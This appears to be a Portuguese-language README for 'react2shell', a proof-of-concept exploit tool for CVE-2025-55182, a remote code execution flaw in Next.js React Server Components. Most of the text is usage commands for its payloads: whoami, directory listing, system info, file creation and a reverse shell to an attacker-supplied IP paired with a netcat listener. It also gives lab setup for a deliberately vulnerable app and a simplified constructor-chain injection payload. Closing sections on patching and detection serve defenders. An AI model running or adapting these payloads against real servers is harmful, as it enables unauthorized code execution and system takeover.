
Um framework completo para explorar a vulnerabilidade CVE-2025-55182
Um exploit de prova de conceito para CVE-2025-55182, uma vulnerabilidade crítica de Execução Remota de Código em aplicações Next.js que usam React Server Components.
ESTA FERRAMENTA É APENAS PARA TESTES DE SEGURANÇA EDUCACIONAIS E AUTORIZADOS.
# Clone or download this repository
git clone https://github.com/zr0n/react2shell
cd react2shell
# Install dependencies
npm install form-data
node react2shell.js <target_url> <payload_type> [options]
| Payload | Descrição | Exemplo |
|---|---|---|
basic | Prova de conceito matemática (7*7+1=50) | node react2shell.js http://target:3000 basic |
whoami | Exibe o usuário atual do sistema | node react2shell.js http://target:3000 whoami |
dir | Lista o conteúdo do diretório atual | node react2shell.js http://target:3000 dir |
systeminfo | Exibe informações do sistema operacional | node react2shell.js http://target:3000 systeminfo |
file | Cria arquivo de prova EXPLOITED.txt | node react2shell.js http://target:3000 file |
calc | Abre a calculadora (prova visual no Windows) | node react2shell.js http://target:3000 calc |
notepad | Abre o bloco de notas (prova visual no Windows) | node react2shell.js http://target:3000 notepad |
shell | Reverse shell (detecção automática Windows/Linux) | node react2shell.js http://target:3000 shell 10.10.10.5 4444 |
node react2shell.js http://localhost:3000 basic
# Check server console for output: EXPLOITED: 50
# Get current user
node react2shell.js http://localhost:3000 whoami
# List files
node react2shell.js http://localhost:3000 dir
# System information
node react2shell.js http://localhost:3000 systeminfo
# Launch calculator
node react2shell.js http://localhost:3000 calc
# Launch notepad
node react2shell.js http://localhost:3000 notepad
node react2shell.js http://localhost:3000 file
# Check server directory for EXPLOITED.txt
# Terminal 1: Start listener
nc -lvnp 4444
# Terminal 2: Execute exploit
node react2shell.js http://localhost:3000 shell <YOUR_IP> 4444
# Works on both Windows (PowerShell) and Linux (Bash)
# Create project directory
mkdir vulnerable-nextjs-app
cd vulnerable-nextjs-app
# Initialize Next.js with vulnerable version
npx create-next-app@latest . --ts --app --no-eslint --tailwind
# Downgrade to vulnerable version
npm install [email protected]
# Install dependencies
npm install
app/page.tsx)export default function Home() {
return (
<div className="p-8">
<h1 className="text-4xl font-bold">Vulnerable Next.js App</h1>
<p className="mt-4">This app is vulnerable to CVE-2025-55182</p>
</div>
);
}
npm run dev
# Server runs on http://localhost:3000
O exploit aproveita uma vulnerabilidade de desserialização em React Server Components:
constructor.constructor para acessar o construtor de Function_prefix// Simplified vulnerability chain
{
_formData: {
get: '$3:constructor:constructor' // Access Function constructor
},
_prefix: 'YOUR_CODE_HERE//' // Injected code
}
Atualize Imediatamente:
npm update next@latest
npm update react@latest react-dom@latest
Verifique as Versões Corrigidas:
npm list next react
Versões Necessárias:
next-actionProcure por requisições POST com:
next-actionmultipart/form-dataconstructor, _prefix, _formDataPOST / with next-action header
Suspicious FormData keys: 0, 1, 2, 3, 4
Response: 200 (successful exploitation) or 500 (failed)
Esta é uma ferramenta educacional. Contribuições que aprimorem:
são bem-vindas. NÃO envie contribuições que aprimorem capacidades de ataque.
Apenas para Uso Educacional - Nenhuma garantia fornecida
Luiz Fernando Ziron Criado para fins educacionais e de conscientização em segurança cibernética.
Ao usar esta ferramenta, você concorda em:
Acesso não autorizado a sistemas de computador é crime na maioria das jurisdições.
Fique seguro, mantenha-se ético, mantenha-se legal. 🔒